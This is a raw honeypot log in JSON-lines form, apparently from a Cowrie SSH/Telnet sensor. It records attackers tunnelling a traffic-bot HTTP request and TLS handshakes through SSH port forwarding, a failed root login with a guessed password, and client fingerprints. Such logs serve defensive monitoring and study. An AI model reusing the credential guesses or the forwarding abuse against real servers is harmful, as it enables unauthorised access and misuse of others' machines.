{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.179313Z","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.292907Z","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.459773Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PCpYamM%2FZUVtUU5WSmhWPg%3D%3DACVnUkf60Vs2FvsB1eYEgQ9t77wWBUwE95L9cbCRomNWMmQeqqrM04KEHleyIMx9htAtWWWdK5Lq3FNirsPDa%2Fsq%2B56Vg4YGMnxFV3tS90bFahfsZFstNg1hAJd8IxIxS7Q0H6OjzFwn7iC0sJDYWwrLMoeZ%2BN4R15FEaXcN7j3hS%2BIjX3m1lUJYXxH9%2BUkAKv%2FWBFQxiygFFPeYOYVmnj%2FYf4NRzPZdyPDRUOFf19FzkHdpkSHYLwmQquXZAelYMlFjnMeIMszy%2FE22SmQM%2B9bawO7Xetct2K5XSkP%2BqmMDXd0PlFAqlQRl6tI7TDfNe9Kbhzd%2F4Cij3J3%2BfUWfnGELy5qQoc%2FO1Dypy0GIEjF4Pv%2Fkm6lRqAZFzVEjBrI%2B9YJR4cGoRhAztqByX6oME9PAAAX3kZq%2Fn2tKuu8%2Fg7GbVUq%2BU6plgF0x0GpRtY3N33poupAhjChWZu%2Flq7JVFyzoTrH5FYKI1OLepPbcTVFjnKkmmACJMhZLS%2FgI3cN6eb5Oz0p11StlNuNrK9Rgk7cGDizPBYZUgi0KcjRIk50h2K5dajRn7tOGb2vHn%2FfnVzbC5Dh58ZaZk0HT4vfw5nFscxFayGQbr%2FALrgskNTUN1mcEhhL%2FNMtcl7QddXUFSzjczsB0%2FybY%2F%2B0vhb1V9WYNwkb6ULZmddR%2F%2BljEnfqFLLRI2LLAue2av7hBAtr2C3bPef07t7g0y74YTVs0bV%2FXR2qUJimu0876x79Jbe%2B49alrAx7Zye8VytYG2CknLD5390psK5XzZiiBL%2B8S0VwP7Gkj7MiDTq4VbJ9%2BJqONoOXCBljXeDAiK7F%2FNyxcxoPTuHhOZVx8uYGNLzcgAK9b3jSBMSoJoTefguWbEZ1kIb6m6Dur3eqYZievWYXc6BIpdTKTnREZ651Zx7S%2Bq0bLtijEPd%2BXXnsNC%2FPclD43MB%2Bfq514PKp0Dlt7WGxn4fBL9i5Ww96uraEO16NnNnX2fGXXYEwvYscBpD7G2EkIpVidHvXeMHoUSr2Kyhb3oMMqep3a3jYGEByPW6YahB7lowTtGkLiwnIOXtarbVBdTLvUeYfNfEH%2FjcZDe71k'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=PCpYamM%2FZUVtUU5WSmhWPg%3D%3DACVnUkf60Vs2FvsB1eYEgQ9t77wWBUwE95L9cbCRomNWMmQeqqrM04KEHleyIMx9htAtWWWdK5Lq3FNirsPDa%2Fsq%2B56Vg4YGMnxFV3tS90bFahfsZFstNg1hAJd8IxIxS7Q0H6OjzFwn7iC0sJDYWwrLMoeZ%2BN4R15FEaXcN7j3hS%2BIjX3m1lUJYXxH9%2BUkAKv%2FWBFQxiygFFPeYOYVmnj%2FYf4NRzPZdyPDRUOFf19FzkHdpkSHYLwmQquXZAelYMlFjnMeIMszy%2FE22SmQM%2B9bawO7Xetct2K5XSkP%2BqmMDXd0PlFAqlQRl6tI7TDfNe9Kbhzd%2F4Cij3J3%2BfUWfnGELy5qQoc%2FO1Dypy0GIEjF4Pv%2Fkm6lRqAZFzVEjBrI%2B9YJR4cGoRhAztqByX6oME9PAAAX3kZq%2Fn2tKuu8%2Fg7GbVUq%2BU6plgF0x0GpRtY3N33poupAhjChWZu%2Flq7JVFyzoTrH5FYKI1OLepPbcTVFjnKkmmACJMhZLS%2FgI3cN6eb5Oz0p11StlNuNrK9Rgk7cGDizPBYZUgi0KcjRIk50h2K5dajRn7tOGb2vHn%2FfnVzbC5Dh58ZaZk0HT4vfw5nFscxFayGQbr%2FALrgskNTUN1mcEhhL%2FNMtcl7QddXUFSzjczsB0%2FybY%2F%2B0vhb1V9WYNwkb6ULZmddR%2F%2BljEnfqFLLRI2LLAue2av7hBAtr2C3bPef07t7g0y74YTVs0bV%2FXR2qUJimu0876x79Jbe%2B49alrAx7Zye8VytYG2CknLD5390psK5XzZiiBL%2B8S0VwP7Gkj7MiDTq4VbJ9%2BJqONoOXCBljXeDAiK7F%2FNyxcxoPTuHhOZVx8uYGNLzcgAK9b3jSBMSoJoTefguWbEZ1kIb6m6Dur3eqYZievWYXc6BIpdTKTnREZ651Zx7S%2Bq0bLtijEPd%2BXXnsNC%2FPclD43MB%2Bfq514PKp0Dlt7WGxn4fBL9i5Ww96uraEO16NnNnX2fGXXYEwvYscBpD7G2EkIpVidHvXeMHoUSr2Kyhb3oMMqep3a3jYGEByPW6YahB7lowTtGkLiwnIOXtarbVBdTLvUeYfNfEH%2FjcZDe71k'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.470467Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.562267Z","src_ip":"91.92.40.36","session":"85e0e5101172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.660922Z","src_ip":"91.92.40.36","session":"85a5d73a6bca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.734675Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03'\\xfa5\\x9b\\xb1v\\xc1\\xb6e\\xb68\\xb0\\x9b\\xcdE\\xdd\\x01\\x08\\xff!\\xae\\xdf\\x8d\\xd0\\xb2xF,/\\x8ex\\x11 {\\x95)-\\xa9C\\x01\\xd5h\\xc31\\xb3\\xfc\\xd9\\xd1\\xf8O\\xb8\\xf9\\xcc\\x08\\x13v\\xe5h1I\\xd3.\\x9e\\xb5R\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcf\\xa9\\x9d\\xdcW\\x95m\\x18Z[I.P\\x08\\xdbnQ_\\xf7\\xca\\xb1\\xd7)\\xf8#fk^\\x8b\\x90\\x01G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03'\\xfa5\\x9b\\xb1v\\xc1\\xb6e\\xb68\\xb0\\x9b\\xcdE\\xdd\\x01\\x08\\xff!\\xae\\xdf\\x8d\\xd0\\xb2xF,/\\x8ex\\x11 {\\x95)-\\xa9C\\x01\\xd5h\\xc31\\xb3\\xfc\\xd9\\xd1\\xf8O\\xb8\\xf9\\xcc\\x08\\x13v\\xe5h1I\\xd3.\\x9e\\xb5R\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcf\\xa9\\x9d\\xdcW\\x95m\\x18Z[I.P\\x08\\xdbnQ_\\xf7\\xca\\xb1\\xd7)\\xf8#fk^\\x8b\\x90\\x01G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.738492Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSX!@#","message":"login attempt [root/qazWSX!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:06.793149Z","src_ip":"201.17.146.173","session":"cb092308e431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18212,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f68c9f9c13","protocol":"ssh","message":"New connection: 91.92.40.36:18212 (159.203.135.109:22) [session: 24f68c9f9c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.077474Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.286081Z","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39138,"dst_ip":"159.203.135.109","dst_port":23,"session":"0807e701a8d8","protocol":"telnet","message":"New connection: 172.81.62.90:39138 (159.203.135.109:23) [session: 0807e701a8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.373241Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.570375Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xbf\\x198\\xbf\\x06\\xbf\\xcfr\\x05Hy(,~H\\x95\\xace\\x07\\x0br\\xca\\xa53/\\xa8\\x9f\\xd9\\xa3\\x0ci s\\xdez\\xbe\\x04\\xc7R\\x9a\\xcd\\xbdtq|\\xb5{\\xd4\\xc6\\xeb\\xcf\\xe1^\\xc1\\x05!y\\x16h\\x8f\\x1b\\xc5\\x96-\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\x0f\\xe8\\xf4\\x1el\\r\\xa39|\\xc2\\x9cQz\\xbc:\\xfd\\nY\\xf04\\xf3\\xd0\\xc4\\x81\\xb3\\xae\\x8a\\x11Iv[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xbf\\x198\\xbf\\x06\\xbf\\xcfr\\x05Hy(,~H\\x95\\xace\\x07\\x0br\\xca\\xa53/\\xa8\\x9f\\xd9\\xa3\\x0ci s\\xdez\\xbe\\x04\\xc7R\\x9a\\xcd\\xbdtq|\\xb5{\\xd4\\xc6\\xeb\\xcf\\xe1^\\xc1\\x05!y\\x16h\\x8f\\x1b\\xc5\\x96-\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\x0f\\xe8\\xf4\\x1el\\r\\xa39|\\xc2\\x9cQz\\xbc:\\xfd\\nY\\xf04\\xf3\\xd0\\xc4\\x81\\xb3\\xae\\x8a\\x11Iv[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.575829Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.628417Z","src_ip":"91.92.40.36","session":"24f68c9f9c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.631759Z","src_ip":"91.92.40.36","session":"24f68c9f9c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:07.950657Z","src_ip":"201.17.146.173","session":"cb092308e431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:08.010537Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:08.550521Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
